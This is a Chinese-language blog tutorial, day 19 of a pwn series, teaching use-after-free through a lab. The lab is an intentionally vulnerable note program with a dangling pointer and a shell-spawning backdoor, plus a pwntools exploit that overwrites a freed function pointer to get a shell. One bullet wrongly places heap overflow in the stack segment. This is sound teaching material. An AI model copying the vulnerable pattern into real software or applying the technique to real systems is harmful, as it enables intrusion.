iT邦幫忙

2025 iThome 鐵人賽

DAY 19
0
Security

現在是pwn的天下!系列 第 19

【Day-19】Use-After-Free (UAF)

  • 分享至 

  • xImage
  •  

前言

前面說完chunk跟bin了,今天要進入uaf環節uwu

Heap Overflow

  • 在stack segment發生的overflow
  • 和stack overfow的精神相似,stack overflow目標是掌控stack上可利用的資訊,如位於stack上的return address,控制rip
  • 而heap overflow則是掌控heap中的利用目標,如果某個chunk分配來是一個object struct,透過heap overflow overwrite來進行偽造,或是控制chunk header,並結合glibc malloc free的記憶體管理機制,做到進一步的利用

UAF(USE AFTER FREE)

  • free(ptr);
  • free完pointer後未將ptr清空(ptr = NULL),稱為dangling pointer
    • 意思是有一個pointer指著一塊已經被釋放的記憶體(dangerous)
  • 根據不同的存取方法,有各種利用的方法,可以進一步去做後續exploit的利用
    • 用來information leak,存取殘留的data
    • Struct Type Confusion
  • Double free就是因為存在dangling pointer所以造成free一塊已經釋放的chunk,一樣可透過一些技巧達到進一步的利用

LAB

uaf.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_NOTES 10

typedef struct Note {
    void (*print)(char *);
    char *content;
} Note;

Note *notes[MAX_NOTES] = {NULL};

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

void welcome() {
    printf("Welcome to my uaf lab!\n");
}

void backdoor() {
    system("/bin/sh");
}

void menu() {
    puts("\n1. Add note");
    puts("2. Show note");
    puts("3. Delete note");
    puts("4. Exit");
    printf("> ");
}

void add() {
    int idx;
    size_t size;

    printf("Note index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= MAX_NOTES) {
        puts("Invalid index!");
        return;
    }
    if (notes[idx] != NULL) {
        puts("Note already exists!");
        return;
    }

    printf("Note size: ");
    scanf("%zu", &size);

    Note *n = malloc(sizeof(Note));
    n->print = NULL;
    n->content = malloc(size);

    printf("Your note: ");
    read(0, n->content, size);

    notes[idx] = n;
    puts("Note added!");
}

void show() {
    int idx;

    printf("Note index: ");
    scanf("%d", &idx);

    if (idx < 0 || idx >= MAX_NOTES) {
        puts("Invalid index!");
        return;
    }

    if (notes[idx] == NULL) {
        puts("Note does not exist!");
        return;
    }

    if (notes[idx]->print)
        notes[idx]->print(notes[idx]->content);
}

void delete() {
    int idx;

    printf("Note index: ");
    scanf("%d", &idx);

    if (idx < 0 || idx >= MAX_NOTES) {
        puts("Invalid index!");
        return;
    }

    if (notes[idx] != NULL) {
        free(notes[idx]);
        puts("Note deleted!");
    } else {
        puts("Note does not exist!");
    }
}

int main() {
    init();
    welcome();

    int opt;
    while (1) {
        menu();
        scanf("%d", &opt);

        switch (opt) {
            case 1:
                add();
                break;
            case 2:
                show();
                break;
            case 3:
                delete();
                break;
            case 4:
                puts("Bye!");
                exit(0);
            default:
                puts("Invalid option!");
        }
    }
}

makefile:

uaf: uaf.c
        gcc uaf.c -o uaf -fstack-protector-all

我們可以得知的是,這個程式碼雖然很長,但是他的功能就是簡單的做增加筆記,刪掉筆記,檢視筆記跟退出這四個部分
觀察以下流程:

add()

  • 使用者指定一個索引(index)和筆記大小(size)。
  • 分配一個 Note 結構和一塊記憶體用來存放筆記內容。
  • 將這個 Note 指標存入 notes 陣列對應的索引位置。
  • print 函式指標初始為 NULL(或原本可以指向 default_print)。
  • 使用 read() 讀取使用者輸入的內容到 content

show()

  • 使用者指定索引。
  • 檢查該位置是否存在筆記。
  • 若存在且 print 指標非空,則呼叫 print(content)

delete()

  • 使用者指定索引。
  • 檢查該位置是否存在筆記。
  • 若存在,free() 對應的 Note 結構(沒有設置 NULL,留下懸空指標)。
  • 提示「Note deleted」。
    我們這裡為了方便,先在exploit前設置三個功能的函數,稍後會比較方便做使用
from pwn import *

r = process('./uaf')

def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)

def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())

def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())

add

這裡我們可以先add兩個note,我們可以使用gdb attach的方式去查看他heap的現狀

from pwn import *

r = process('./uaf')

def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)

def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())

def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())

add(0, 0x20, b'AAAAAAAA')
add(1, 0x20, b'BBBBBBBB')

gdb:
這裡可以看到我們分配的大小跟function pointer,還有一些我們丟進去的8個A跟8個B
https://ithelp.ithome.com.tw/upload/images/20250824/20172088AgxJLZyHbH.png
https://ithelp.ithome.com.tw/upload/images/20250824/20172088DQTTvxMfnx.png

delete

我們現在去試著free掉這兩個chunk看看會發生甚麼

from pwn import *

r = process('./uaf')

def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)

def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())

def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())

add(0, 0x20, b'AAAAAAAA')
add(1, 0x20, b'BBBBBBBB')

delete(0)
delete(1)

gdb:
chunk被free掉之後,我們可以發現已經進入tcachebins裡了
https://ithelp.ithome.com.tw/upload/images/20250824/20172088hmpwudjHal.png
接下來我們可以在程式碼加上add(2, 0x10, b'aaaaaaaa')並執行再用gdb查看,我們可以發現我們再次填入的8個a也就是0x61,他已經把原本的function pointer蓋掉了,這個意思就是我們只要把我們的backdoor丟上去,就可以成功開shell了
https://ithelp.ithome.com.tw/upload/images/20250824/20172088JXRBYIOm6D.png
然後去找backdoor的address:
https://ithelp.ithome.com.tw/upload/images/20250824/20172088osayVhVosl.png
最後就是我們在show一次,就會成功開shell了

exp.py:

from pwn import *

r = process('./uaf')

def add(idx, size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendafter(b': ', note)

def show(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())

def delete(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())

backdoor = 0x401323

add(0, 0x20, b'A'*4)
add(1, 0x20, b'B'*4)

delete(0)
delete(1)

add(2, 0x10, p64(backdoor))

show(0)

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250824/20172088MRj7v2FN7q.png


上一篇
【Day-18】Chunk & bin
下一篇
【Day-20】進階UAF
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言